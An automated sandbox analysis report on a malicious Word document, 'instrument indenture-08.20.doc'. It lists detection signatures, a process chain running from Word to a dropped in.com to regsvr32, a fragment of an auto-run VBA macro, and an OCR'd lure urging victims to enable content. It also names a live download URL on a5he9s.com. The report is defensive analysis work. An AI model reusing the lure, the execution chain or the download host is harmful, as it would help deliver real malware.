Loading ...

Play interactive tourEdit tour

Analysis Report instrument indenture-08.20.doc

Overview

General Information

Sample Name:instrument indenture-08.20.doc
Analysis ID:269491
MD5:db897dce7d5e347e1494e784e6a1d42f
SHA1:5d7578a9b5070a208b6fac0443dbc69abbd050df
SHA256:f1deced0518ce8ee4b605ae5059fa266dc0aec51ac95ebf4384e880dfc0d3f88

Most interesting Screenshot:

Detection

Score:100
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Document exploit detected (drops PE files)
Office document tries to convince victim to disable security protection (e.g. to enable ActiveX or Macros)
Sigma detected: BlueMashroom DLL Load
Document contains an embedded VBA macro which may execute processes
Document exploit detected (process start blacklist hit)
Drops PE files to the user root directory
Drops PE files with a suspicious file extension
Machine Learning detection for sample
Office process drops PE file
Sigma detected: Executables Started in Suspicious Folder
Sigma detected: Execution in Non-Executable Folder
Sigma detected: Regsvr32 Anomaly
Sigma detected: Suspicious Program Location Process Starts
Allocates memory with a write watch (potentially for evading sandboxes)
Contains capabilities to detect virtual machines
Contains functionality to dynamically determine API calls
Creates a process in suspended mode (likely to inject code)
Document contains an embedded VBA macro which executes code when the document is opened / closed
Document contains embedded VBA macros
Document contains no OLE stream with summary information
Document has an unknown application name
Drops PE files
Drops PE files to the user directory
Potential document exploit detected (performs DNS queries)
Potential document exploit detected (performs HTTP gets)
Potential document exploit detected (unknown TCP traffic)
Queries the volume information (name, serial number etc) of a device
Searches for the Microsoft Outlook file path
Tries to load missing DLLs
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)

Classification

Startup

  • System is w10x64
  • WINWORD.EXE (PID: 7072 cmdline: 'C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE' /Automation -Embedding MD5: 0B9AB9B9C4DE429473D6450D4297A123)
    • in.com (PID: 4508 cmdline: C:\users\public\in.com C:\users\public\in.html MD5: 7083239CE743FDB68DFC933B7308E80A)
      • regsvr32.exe (PID: 2008 cmdline: 'C:\Windows\System32\regsvr32.exe' C:\Users\user\AppData\Local\Temp\temp.tmp MD5: 426E7499F6A7346F0410DEAD0805586B)
  • cleanup

Malware Configuration

No configs have been found

Yara Overview

No yara matches

Sigma Overview

System Summary:

barindex
Sigma detected: BlueMashroom DLL LoadShow sources
Source: Process startedAuthor: Florian Roth: Data: Command: 'C:\Windows\System32\regsvr32.exe' C:\Users\user\AppData\Local\Temp\temp.tmp, CommandLine: 'C:\Windows\System32\regsvr32.exe' C:\Users\user\AppData\Local\Temp\temp.tmp, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\regsvr32.exe, NewProcessName: C:\Windows\SysWOW64\regsvr32.exe, OriginalFileName: C:\Windows\SysWOW64\regsvr32.exe, ParentCommandLine: C:\users\public\in.com C:\users\public\in.html, ParentImage: C:\Users\Public\in.com, ParentProcessId: 4508, ProcessCommandLine: 'C:\Windows\System32\regsvr32.exe' C:\Users\user\AppData\Local\Temp\temp.tmp, ProcessId: 2008
Sigma detected: Executables Started in Suspicious FolderShow sources
Source: Process startedAuthor: Florian Roth: Data: Command: C:\users\public\in.com C:\users\public\in.html, CommandLine: C:\users\public\in.com C:\users\public\in.html, CommandLine|base64offset|contains: , Image: C:\Users\Public\in.com, NewProcessName: C:\Users\Public\in.com, OriginalFileName: C:\Users\Public\in.com, ParentCommandLine: 'C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE' /Automation -Embedding, ParentImage: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE, ParentProcessId: 7072, ProcessCommandLine: C:\users\public\in.com C:\users\public\in.html, ProcessId: 4508
Sigma detected: Execution in Non-Executable FolderShow sources
Source: Process startedAuthor: Florian Roth: Data: Command: C:\users\public\in.com C:\users\public\in.html, CommandLine: C:\users\public\in.com C:\users\public\in.html, CommandLine|base64offset|contains: , Image: C:\Users\Public\in.com, NewProcessName: C:\Users\Public\in.com, OriginalFileName: C:\Users\Public\in.com, ParentCommandLine: 'C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE' /Automation -Embedding, ParentImage: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE, ParentProcessId: 7072, ProcessCommandLine: C:\users\public\in.com C:\users\public\in.html, ProcessId: 4508
Sigma detected: Regsvr32 AnomalyShow sources
Source: Process startedAuthor: Florian Roth: Data: Command: 'C:\Windows\System32\regsvr32.exe' C:\Users\user\AppData\Local\Temp\temp.tmp, CommandLine: 'C:\Windows\System32\regsvr32.exe' C:\Users\user\AppData\Local\Temp\temp.tmp, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\regsvr32.exe, NewProcessName: C:\Windows\SysWOW64\regsvr32.exe, OriginalFileName: C:\Windows\SysWOW64\regsvr32.exe, ParentCommandLine: C:\users\public\in.com C:\users\public\in.html, ParentImage: C:\Users\Public\in.com, ParentProcessId: 4508, ProcessCommandLine: 'C:\Windows\System32\regsvr32.exe' C:\Users\user\AppData\Local\Temp\temp.tmp, ProcessId: 2008
Sigma detected: Suspicious Program Location Process StartsShow sources
Source: Process startedAuthor: Florian Roth: Data: Command: C:\users\public\in.com C:\users\public\in.html, CommandLine: C:\users\public\in.com C:\users\public\in.html, CommandLine|base64offset|contains: , Image: C:\Users\Public\in.com, NewProcessName: C:\Users\Public\in.com, OriginalFileName: C:\Users\Public\in.com, ParentCommandLine: 'C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE' /Automation -Embedding, ParentImage: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE, ParentProcessId: 7072, ProcessCommandLine: C:\users\public\in.com C:\users\public\in.html, ProcessId: 4508

Signature Overview

Click to jump to signature section

Show All Signature Results

AV Detection:

barindex
Machine Learning detection for sampleShow sources
Source: instrument indenture-08.20.docJoe Sandbox ML: detected

Software Vulnerabilities:

barindex
Document exploit detected (drops PE files)Show sources
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXEFile created: in.com.0.drJump to dropped file
Document exploit detected (process start blacklist hit)Show sources
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXEProcess created: C:\Users\Public\in.comJump to behavior
Source: global trafficDNS query: name: a5he9s.com
Source: global trafficTCP traffic: 192.168.2.6:49731 -> 185.62.103.100:80
Source: global trafficTCP traffic: 192.168.2.6:49731 -> 185.62.103.100:80
Source: global trafficHTTP traffic detected: GET /cugul/lisi.php?l=vese7.cab HTTP/1.1Accept: */*Accept-Language: en-usAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: a5he9s.comConnection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /cugul/lisi.php?l=vese7.cab HTTP/1.1Accept: */*Accept-Language: en-usAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: a5he9s.comConnection: Keep-Alive
Source: unknownDNS traffic detected: queries for: a5he9s.com
Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 17 Aug 2020 23:50:26 GMTServer: Apache/2.2.15 (CentOS)X-Powered-By: PHP/7.2.33Content-Length: 0Connection: closeContent-Type: text/html; charset=UTF-8
Source: in.com, 00000002.00000003.289055819.000000000A563000.00000004.00000040.sdmp, in.com, 00000002.00000002.294128793.000000000A11F000.00000004.00000001.sdmpString found in binary or memory: http://a5he9s.com/cugul/lisi.php?l=vese7.cab
Source: in.com, 00000002.00000002.294128793.000000000A11F000.00000004.00000001.sdmpString found in binary or memory: http://a5he9s.com/cugul/lisi.php?l=vese7.cabz
Source: 9DD41DDF-FBC3-4DDC-9C02-ECF1BB4E91EA.0.drString found in binary or memory: http://olkflt.edog.officeapps.live.com/olkflt/outlookflighting.svc/api/glides
Source: 9DD41DDF-FBC3-4DDC-9C02-ECF1BB4E91EA.0.drString found in binary or memory: http://weather.service.msn.com/data.aspx
Source: 9DD41DDF-FBC3-4DDC-9C02-ECF1BB4E91EA.0.drString found in binary or memory: https://analysis.windows.net/powerbi/api
Source: 9DD41DDF-FBC3-4DDC-9C02-ECF1BB4E91EA.0.drString found in binary or memory: https://apc.learningtools.onenote.com/learningtoolsapi/v2.0/getfreeformspeech
Source: 9DD41DDF-FBC3-4DDC-9C02-ECF1BB4E91EA.0.drString found in binary or memory: https://api.aadrm.com/
Source: 9DD41DDF-FBC3-4DDC-9C02-ECF1BB4E91EA.0.drString found in binary or memory: https://api.diagnostics.office.com
Source: 9DD41DDF-FBC3-4DDC-9C02-ECF1BB4E91EA.0.drString found in binary or memory: https://api.diagnosticssdf.office.com
Source: 9DD41DDF-FBC3-4DDC-9C02-ECF1BB4E91EA.0.drString found in binary or memory: https://api.microsoftstream.com/api/
Source: 9DD41DDF-FBC3-4DDC-9C02-ECF1BB4E91EA.0.drString found in binary or memory: https://api.onedrive.com
Source: 9DD41DDF-FBC3-4DDC-9C02-ECF1BB4E91EA.0.drString found in binary or memory: https://api.powerbi.com/beta/myorg/imports
Source: 9DD41DDF-FBC3-4DDC-9C02-ECF1BB4E91EA.0.drString found in binary or memory: https://api.powerbi.com/v1.0/myorg/datasets
Source: 9DD41DDF-FBC3-4DDC-9C02-ECF1BB4E91EA.0.drString found in binary or memory: https://api.powerbi.com/v1.0/myorg/groups
Source: 9DD41DDF-FBC3-4DDC-9C02-ECF1BB4E91EA.0.drString found in binary or memory: https://apis.live.net/v5.0/
Source: 9DD41DDF-FBC3-4DDC-9C02-ECF1BB4E91EA.0.drString found in binary or memory: https://arc.msn.com/v4/api/selection
Source: 9DD41DDF-FBC3-4DDC-9C02-ECF1BB4E91EA.0.drString found in binary or memory: https://asgsmsproxyapi.azurewebsites.net/
Source: 9DD41DDF-FBC3-4DDC-9C02-ECF1BB4E91EA.0.drString found in binary or memory: https://augloop.office.com
Source: 9DD41DDF-FBC3-4DDC-9C02-ECF1BB4E91EA.0.drString found in binary or memory: https://autodiscover-s.outlook.com/autodiscover/autodiscover.xml
Source: 9DD41DDF-FBC3-4DDC-9C02-ECF1BB4E91EA.0.drString found in binary or memory: https://cdn.entity.
Source: 9DD41DDF-FBC3-4DDC-9C02-ECF1BB4E91EA.0.drString found in binary or memory: https://cdn.odc.officeapps.live.com/odc/stat/images/OneDriveUpsell.png
Source: 9DD41DDF-FBC3-4DDC-9C02-ECF1BB4E91EA.0.drString found in binary or memory: https://cdn.odc.officeapps.live.com/odc/xml?resource=OneDriveSignUpUpsell
Source: 9DD41DDF-FBC3-4DDC-9C02-ECF1BB4E91EA.0.drString found in binary or memory: https://cdn.odc.officeapps.live.com/odc/xml?resource=OneDriveSyncClientUpsell
Source: 9DD41DDF-FBC3-4DDC-9C02-ECF1BB4E91EA.0.drString found in binary or memory: https://client-office365-tas.msedge.net/ab
Source: 9DD41DDF-FBC3-4DDC-9C02-ECF1BB4E91EA.0.drString found in binary or memory: https://clients.config.office.net/
Source: 9DD41DDF-FBC3-4DDC-9C02-ECF1BB4E91EA.0.drString found in binary or memory: https://clients.config.office.net/user/v1.0/android/policies
Source: 9DD41DDF-FBC3-4DDC-9C02-ECF1BB4E91EA.0.drString found in binary or memory: https://clients.config.office.net/user/v1.0/ios
Source: 9DD41DDF-FBC3-4DDC-9C02-ECF1BB4E91EA.0.drString found in binary or memory: https://clients.config.office.net/user/v1.0/mac
Source: 9DD41DDF-FBC3-4DDC-9C02-ECF1BB4E91EA.0.drString found in binary or memory: https://clients.config.office.net/user/v1.0/tenantassociationkey
Source: 9DD41DDF-FBC3-4DDC-9C02-ECF1BB4E91EA.0.drString found in binary or memory: https://cloudfiles.onenote.com/upload.aspx
Source: 9DD41DDF-FBC3-4DDC-9C02-ECF1BB4E91EA.0.drString found in binary or memory: https://config.edge.skype.com
Source: 9DD41DDF-FBC3-4DDC-9C02-ECF1BB4E91EA.0.drString found in binary or memory: https://config.edge.skype.com/config/v1/Office
Source: 9DD41DDF-FBC3-4DDC-9C02-ECF1BB4E91EA.0.drString found in binary or memory: https://config.edge.skype.com/config/v2/Office
Source: 9DD41DDF-FBC3-4DDC-9C02-ECF1BB4E91EA.0.drString found in binary or memory: https://cortana.ai
Source: 9DD41DDF-FBC3-4DDC-9C02-ECF1BB4E91EA.0.drString found in binary or memory: https://cr.office.com
Source: 9DD41DDF-FBC3-4DDC-9C02-ECF1BB4E91EA.0.drString found in binary or memory: https://dataservice.o365filtering.com
Source: 9DD41DDF-FBC3-4DDC-9C02-ECF1BB4E91EA.0.drString found in binary or memory: https://dataservice.o365filtering.com/
Source: 9DD41DDF-FBC3-4DDC-9C02-ECF1BB4E91EA.0.drString found in binary or memory: https://dataservice.o365filtering.com/PolicySync/PolicySync.svc/SyncFile
Source: 9DD41DDF-FBC3-4DDC-9C02-ECF1BB4E91EA.0.drString found in binary or memory: https://dataservice.protection.outlook.com/PolicySync/PolicySync.svc/SyncFile
Source: 9DD41DDF-FBC3-4DDC-9C02-ECF1BB4E91EA.0.drString found in binary or memory: https://dataservice.protection.outlook.com/PsorWebService/v1/ClientSyncFile/MipPolicies
Source: 9DD41DDF-FBC3-4DDC-9C02-ECF1BB4E91EA.0.drString found in binary or memory: https://dev.virtualearth.net/REST/V1/GeospatialEndpoint/
Source: 9DD41DDF-FBC3-4DDC-9C02-ECF1BB4E91EA.0.drString found in binary or memory: https://dev0-api.acompli.net/autodetect
Source: 9DD41DDF-FBC3-4DDC-9C02-ECF1BB4E91EA.0.drString found in binary or memory: https://devnull.onenote.com
Source: 9DD41DDF-FBC3-4DDC-9C02-ECF1BB4E91EA.0.drString found in binary or memory: https://directory.services.
Source: 9DD41DDF-FBC3-4DDC-9C02-ECF1BB4E91EA.0.drString found in binary or memory: https://ecs.office.com/config/v2/Office
Source: 9DD41DDF-FBC3-4DDC-9C02-ECF1BB4E91EA.0.drString found in binary or memory: https://entitlement.diagnostics.office.com
Source: 9DD41DDF-FBC3-4DDC-9C02-ECF1BB4E91EA.0.drString found in binary or memory: https://entitlement.diagnosticssdf.office.com
Source: 9DD41DDF-FBC3-4DDC-9C02-ECF1BB4E91EA.0.drString found in binary or memory: https://eur.learningtools.onenote.com/learningtoolsapi/v2.0/getfreeformspeech
Source: 9DD41DDF-FBC3-4DDC-9C02-ECF1BB4E91EA.0.drString found in binary or memory: https://excel.uservoice.com/forums/304936-excel-for-mobile-devices-tablets-phones-android
Source: 9DD41DDF-FBC3-4DDC-9C02-ECF1BB4E91EA.0.drString found in binary or memory: https://globaldisco.crm.dynamics.com
Source: 9DD41DDF-FBC3-4DDC-9C02-ECF1BB4E91EA.0.drString found in binary or memory: https://graph.ppe.windows.net
Source: 9DD41DDF-FBC3-4DDC-9C02-ECF1BB4E91EA.0.drString found in binary or memory: https://graph.ppe.windows.net/
Source: 9DD41DDF-FBC3-4DDC-9C02-ECF1BB4E91EA.0.drString found in binary or memory: https://graph.windows.net
Source: 9DD41DDF-FBC3-4DDC-9C02-ECF1BB4E91EA.0.drString found in binary or memory: https://graph.windows.net/
Source: 9DD41DDF-FBC3-4DDC-9C02-ECF1BB4E91EA.0.drString found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/api/telemetry
Source: 9DD41DDF-FBC3-4DDC-9C02-ECF1BB4E91EA.0.drString found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/browse?
Source: 9DD41DDF-FBC3-4DDC-9C02-ECF1BB4E91EA.0.drString found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/browse?cp=remix3d
Source: 9DD41DDF-FBC3-4DDC-9C02-ECF1BB4E91EA.0.drString found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/microsoftcontent?initpivot=icons&premium=1
Source: 9DD41DDF-FBC3-4DDC-9C02-ECF1BB4E91EA.0.drString found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/microsoftcontent?initpivot=stockimages&premium=1
Source: 9DD41DDF-FBC3-4DDC-9C02-ECF1BB4E91EA.0.drString found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/microsoftcontent?initpivot=stockvideos&premium=1
Source: 9DD41DDF-FBC3-4DDC-9C02-ECF1BB4E91EA.0.drString found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/microsofticon?
Source: 9DD41DDF-FBC3-4DDC-9C02-ECF1BB4E91EA.0.drString found in binary or memory: https://incidents.diagnostics.office.com
Source: 9DD41DDF-FBC3-4DDC-9C02-ECF1BB4E91EA.0.drString found in binary or memory: https://incidents.diagnosticssdf.office.com
Source: 9DD41DDF-FBC3-4DDC-9C02-ECF1BB4E91EA.0.drString found in binary or memory: https://insertmedia.bing.office.net/images/hosted?host=office&adlt=strict&hostType=Immersive
Source: 9DD41DDF-FBC3-4DDC-9C02-ECF1BB4E91EA.0.drString found in binary or memory: https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=Bing
Source: 9DD41DDF-FBC3-4DDC-9C02-ECF1BB4E91EA.0.drString found in binary or memory: https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=ClipArt
Source: 9DD41DDF-FBC3-4DDC-9C02-ECF1BB4E91EA.0.drString found in binary or memory: https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=Facebook
Source: 9DD41DDF-FBC3-4DDC-9C02-ECF1BB4E91EA.0.drString found in binary or memory: https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=Flickr
Source: 9DD41DDF-FBC3-4DDC-9C02-ECF1BB4E91EA.0.drString found in binary or memory: https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=OneDrive
Source: 9DD41DDF-FBC3-4DDC-9C02-ECF1BB4E91EA.0.drString found in binary or memory: https://insertmedia.bing.office.net/odc/insertmedia
Source: 9DD41DDF-FBC3-4DDC-9C02-ECF1BB4E91EA.0.drString found in binary or memory: https://learningtools.onenote.com/learningtoolsapi/v2.0/GetFreeformSpeech
Source: 9DD41DDF-FBC3-4DDC-9C02-ECF1BB4E91EA.0.drString found in binary or memory: https://lifecycle.office.com
Source: in.com, 00000002.00000002.294128793.000000000A11F000.00000004.00000001.sdmpString found in binary or memory: https://login.live.com
Source: 9DD41DDF-FBC3-4DDC-9C02-ECF1BB4E91EA.0.drString found in binary or memory: https://login.microsoftonline.com/
Source: 9DD41DDF-FBC3-4DDC-9C02-ECF1BB4E91EA.0.drString found in binary or memory: https://login.microsoftonline.com/common
Source: 9DD41DDF-FBC3-4DDC-9C02-ECF1BB4E91EA.0.drString found in binary or memory: https://login.windows-ppe.net/common/oauth2/authorize
Source: 9DD41DDF-FBC3-4DDC-9C02-ECF1BB4E91EA.0.drString found in binary or memory: https://login.windows.local
Source: 9DD41DDF-FBC3-4DDC-9C02-ECF1BB4E91EA.0.drString found in binary or memory: https://login.windows.net/72f988bf-86f1-41af-91ab-2d7cd011db47/oauth2/authorize
Source: 9DD41DDF-FBC3-4DDC-9C02-ECF1BB4E91EA.0.drString found in binary or memory: https://login.windows.net/common/oauth2/authorize
Source: 9DD41DDF-FBC3-4DDC-9C02-ECF1BB4E91EA.0.drString found in binary or memory: https://loki.delve.office.com/api/v1/configuration/officewin32/
Source: 9DD41DDF-FBC3-4DDC-9C02-ECF1BB4E91EA.0.drString found in binary or memory: https://lookup.onenote.com/lookup/geolocation/v1
Source: 9DD41DDF-FBC3-4DDC-9C02-ECF1BB4E91EA.0.drString found in binary or memory: https://management.azure.com
Source: 9DD41DDF-FBC3-4DDC-9C02-ECF1BB4E91EA.0.drString found in binary or memory: https://management.azure.com/
Source: 9DD41DDF-FBC3-4DDC-9C02-ECF1BB4E91EA.0.drString found in binary or memory: https://messaging.office.com/
Source: 9DD41DDF-FBC3-4DDC-9C02-ECF1BB4E91EA.0.drString found in binary or memory: https://na01.oscs.protection.outlook.com/api/SafeLinksApi/GetPolicy
Source: 9DD41DDF-FBC3-4DDC-9C02-ECF1BB4E91EA.0.drString found in binary or memory: https://nam.learningtools.onenote.com/learningtoolsapi/v2.0/getfreeformspeech
Source: 9DD41DDF-FBC3-4DDC-9C02-ECF1BB4E91EA.0.drString found in binary or memory: https://ncus-000.contentsync.
Source: 9DD41DDF-FBC3-4DDC-9C02-ECF1BB4E91EA.0.drString found in binary or memory: https://ncus-000.pagecontentsync.
Source: 9DD41DDF-FBC3-4DDC-9C02-ECF1BB4E91EA.0.drString found in binary or memory: https://o365auditrealtimeingestion.manage.office.com
Source: 9DD41DDF-FBC3-4DDC-9C02-ECF1BB4E91EA.0.drString found in binary or memory: https://o365auditrealtimeingestion.manage.office.com/api/userauditrecord
Source: 9DD41DDF-FBC3-4DDC-9C02-ECF1BB4E91EA.0.drString found in binary or memory: https://o365diagnosticsppe-web.cloudapp.net
Source: 9DD41DDF-FBC3-4DDC-9C02-ECF1BB4E91EA.0.drString found in binary or memory: https://ocos-office365-s2s.msedge.net/ab
Source: 9DD41DDF-FBC3-4DDC-9C02-ECF1BB4E91EA.0.drString found in binary or memory: https://ofcrecsvcapi-int.azurewebsites.net/
Source: 9DD41DDF-FBC3-4DDC-9C02-ECF1BB4E91EA.0.drString found in binary or memory: https://officeapps.live.com
Source: 9DD41DDF-FBC3-4DDC-9C02-ECF1BB4E91EA.0.drString found in binary or memory: https://officeci.azurewebsites.net/api/
Source: 9DD41DDF-FBC3-4DDC-9C02-ECF1BB4E91EA.0.drString found in binary or memory: https://officemobile.uservoice.com/forums/929800-office-app-ios-and-ipad-asks
Source: 9DD41DDF-FBC3-4DDC-9C02-ECF1BB4E91EA.0.drString found in binary or memory: https://officesetup.getmicrosoftkey.com
Source: 9DD41DDF-FBC3-4DDC-9C02-ECF1BB4E91EA.0.drString found in binary or memory: https://ogma.osi.office.net/TradukoApi/api/v1.0/
Source: 9DD41DDF-FBC3-4DDC-9C02-ECF1BB4E91EA.0.drString found in binary or memory: https://onedrive.live.com
Source: 9DD41DDF-FBC3-4DDC-9C02-ECF1BB4E91EA.0.drString found in binary or memory: https://onedrive.live.com/about/download/?windows10SyncClientInstalled=false
Source: 9DD41DDF-FBC3-4DDC-9C02-ECF1BB4E91EA.0.drString found in binary or memory: https://onedrive.live.com/embed?
Source: 9DD41DDF-FBC3-4DDC-9C02-ECF1BB4E91EA.0.drString found in binary or memory: https://outlook.office.com/autosuggest/api/v1/init?cvid=
Source: 9DD41DDF-FBC3-4DDC-9C02-ECF1BB4E91EA.0.drString found in binary or memory: https://outlook.office365.com/api/v1.0/me/Activities
Source: 9DD41DDF-FBC3-4DDC-9C02-ECF1BB4E91EA.0.drString found in binary or memory: https://outlook.office365.com/autodiscover/autodiscover.json
Source: 9DD41DDF-FBC3-4DDC-9C02-ECF1BB4E91EA.0.drString found in binary or memory: https://ovisualuiapp.azurewebsites.net/pbiagave/
Source: 9DD41DDF-FBC3-4DDC-9C02-ECF1BB4E91EA.0.drString found in binary or memory: https://partnerservices.getmicrosoftkey.com/PartnerProvisioning.svc/v1/subscriptions
Source: 9DD41DDF-FBC3-4DDC-9C02-ECF1BB4E91EA.0.drString found in binary or memory: https://pf.directory.live.com/profile/mine/System.ShortCircuitProfile.json
Source: 9DD41DDF-FBC3-4DDC-9C02-ECF1BB4E91EA.0.drString found in binary or memory: https://pf.directory.live.com/profile/mine/WLX.Profiles.IC.json
Source: 9DD41DDF-FBC3-4DDC-9C02-ECF1BB4E91EA.0.drString found in binary or memory: https://portal.office.com/account/?ref=ClientMeControl
Source: 9DD41DDF-FBC3-4DDC-9C02-ECF1BB4E91EA.0.drString found in binary or memory: https://posarprodcssservice.accesscontrol.windows.net/v2/OAuth2-13
Source: 9DD41DDF-FBC3-4DDC-9C02-ECF1BB4E91EA.0.drString found in binary or memory: https://powerlift-frontdesk.acompli.net
Source: 9DD41DDF-FBC3-4DDC-9C02-ECF1BB4E91EA.0.drString found in binary or memory: https://powerlift.acompli.net
Source: 9DD41DDF-FBC3-4DDC-9C02-ECF1BB4E91EA.0.drString found in binary or memory: https://powerpoint.uservoice.com/forums/288952-powerpoint-for-ipad-iphone-ios
Source: 9DD41DDF-FBC3-4DDC-9C02-ECF1BB4E91EA.0.drString found in binary or memory: https://prod-global-autodetect.acompli.net/autodetect
Source: 9DD41DDF-FBC3-4DDC-9C02-ECF1BB4E91EA.0.drString found in binary or memory: https://r4.res.office365.com/footprintconfig/v1.7/scripts/fpconfig.json
Source: 9DD41DDF-FBC3-4DDC-9C02-ECF1BB4E91EA.0.drString found in binary or memory: https://res.getmicrosoftkey.com/api/redemptionevents
Source: 9DD41DDF-FBC3-4DDC-9C02-ECF1BB4E91EA.0.drString found in binary or memory: https://retailer.osi.office.net/appstate/query
Source: 9DD41DDF-FBC3-4DDC-9C02-ECF1BB4E91EA.0.drString found in binary or memory: https://rpsticket.partnerservices.getmicrosoftkey.com
Source: 9DD41DDF-FBC3-4DDC-9C02-ECF1BB4E91EA.0.drString found in binary or memory: https://settings.outlook.com
Source: 9DD41DDF-FBC3-4DDC-9C02-ECF1BB4E91EA.0.drString found in binary or memory: https://shell.suite.office.com:1443
Source: 9DD41DDF-FBC3-4DDC-9C02-ECF1BB4E91EA.0.drString found in binary or memory: https://skyapi.live.net/Activity/
Source: 9DD41DDF-FBC3-4DDC-9C02-ECF1BB4E91EA.0.drString found in binary or memory: https://sr.outlook.office.net/ws/speech/recognize/assistant/work
Source: 9DD41DDF-FBC3-4DDC-9C02-ECF1BB4E91EA.0.drString found in binary or memory: https://storage.live.com/clientlogs/uploadlocation
Source: 9DD41DDF-FBC3-4DDC-9C02-ECF1BB4E91EA.0.drString found in binary or memory: https://store.office.cn/addinstemplate
Source: 9DD41DDF-FBC3-4DDC-9C02-ECF1BB4E91EA.0.drString found in binary or memory: https://store.office.com/?productgroup=Outlook
Source: 9DD41DDF-FBC3-4DDC-9C02-ECF1BB4E91EA.0.drString found in binary or memory: https://store.office.com/addinstemplate
Source: 9DD41DDF-FBC3-4DDC-9C02-ECF1BB4E91EA.0.drString found in binary or memory: https://store.office.de/addinstemplate
Source: 9DD41DDF-FBC3-4DDC-9C02-ECF1BB4E91EA.0.drString found in binary or memory: https://store.officeppe.com/addinstemplate
Source: 9DD41DDF-FBC3-4DDC-9C02-ECF1BB4E91EA.0.drString found in binary or memory: https://syncservice.protection.outlook.com/PolicySync/PolicySync.svc/SyncFile
Source: 9DD41DDF-FBC3-4DDC-9C02-ECF1BB4E91EA.0.drString found in binary or memory: https://tasks.office.com
Source: 9DD41DDF-FBC3-4DDC-9C02-ECF1BB4E91EA.0.drString found in binary or memory: https://templatelogging.office.com/client/log
Source: 9DD41DDF-FBC3-4DDC-9C02-ECF1BB4E91EA.0.drString found in binary or memory: https://uci.officeapps.live.com/OfficeInsights/web/views/insights.desktop.html
Source: 9DD41DDF-FBC3-4DDC-9C02-ECF1BB4E91EA.0.drString found in binary or memory: https://uci.officeapps.live.com/OfficeInsights/web/views/insights.immersive.html
Source: 9DD41DDF-FBC3-4DDC-9C02-ECF1BB4E91EA.0.drString found in binary or memory: https://visio.uservoice.com/forums/368202-visio-on-devices
Source: 9DD41DDF-FBC3-4DDC-9C02-ECF1BB4E91EA.0.drString found in binary or memory: https://web.microsoftstream.com/video/
Source: 9DD41DDF-FBC3-4DDC-9C02-ECF1BB4E91EA.0.drString found in binary or memory: https://webdir.online.lync.com/autodiscover/autodiscoverservice.svc/root/
Source: 9DD41DDF-FBC3-4DDC-9C02-ECF1BB4E91EA.0.drString found in binary or memory: https://word.uservoice.com/forums/304948-word-for-ipad-iphone-ios
Source: 9DD41DDF-FBC3-4DDC-9C02-ECF1BB4E91EA.0.drString found in binary or memory: https://wus2-000.contentsync.
Source: 9DD41DDF-FBC3-4DDC-9C02-ECF1BB4E91EA.0.drString found in binary or memory: https://wus2-000.pagecontentsync.
Source: 9DD41DDF-FBC3-4DDC-9C02-ECF1BB4E91EA.0.drString found in binary or memory: https://www.bingapis.com/api/v7/urlpreview/search?appid=E93048236FE27D972F67C5AF722136866DF65FA2
Source: 9DD41DDF-FBC3-4DDC-9C02-ECF1BB4E91EA.0.drString found in binary or memory: https://www.odwebp.svc.ms

System Summary:

barindex
Office document tries to convince victim to disable security protection (e.g. to enable ActiveX or Macros)Show sources
Source: Screenshot number: 4Screenshot OCR: Enable content" RegSvr32 X O The module 'C:\Users\user\App0ata\Loca|\Temp\temp,tmp" failed to
Source: Screenshot number: 8Screenshot OCR: Enable editing" button on the top bar, and then click "Enable content" Owords It? O Type here to
Source: Screenshot number: 8Screenshot OCR: Enable content" Owords It? O Type here to search m % - I + '00% Ki E a a g wg sf ^ @ g") ,;',
Source: Document image extraction number: 0Screenshot OCR: Enable editing" button on the top bar, and then click "Enable content"
Source: Document image extraction number: 0Screenshot OCR: Enable content"
Source: Document image extraction number: 1Screenshot OCR: Enable editing" button on the top bar, and then click "Enable content"
Source: Document image extraction number: 1Screenshot OCR: Enable content"
Document contains an embedded VBA macro which may execute processesShow sources
Source: instrument indenture-08.20.docOLE, VBA macro line: aS9Yj.exec ayfzj
Office process drops PE fileShow sources
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXEFile created: C:\Users\Public\in.comJump to dropped file
Source: instrument indenture-08.20.docOLE, VBA macro line: Sub AutoOpen()
Source: instrument indenture-08.20.docOLE indicator, VBA macros: true
Source: instrument indenture-08.20.docOLE indicator has summary info: false
Source: instrument indenture-08.20.docOLE indicator application name: unknown
Source: C:\Users\Public\in.comKey opened: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\App Paths\OUTLOOK.EXEJump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exeSection loaded: sfc.dllJump to behavior
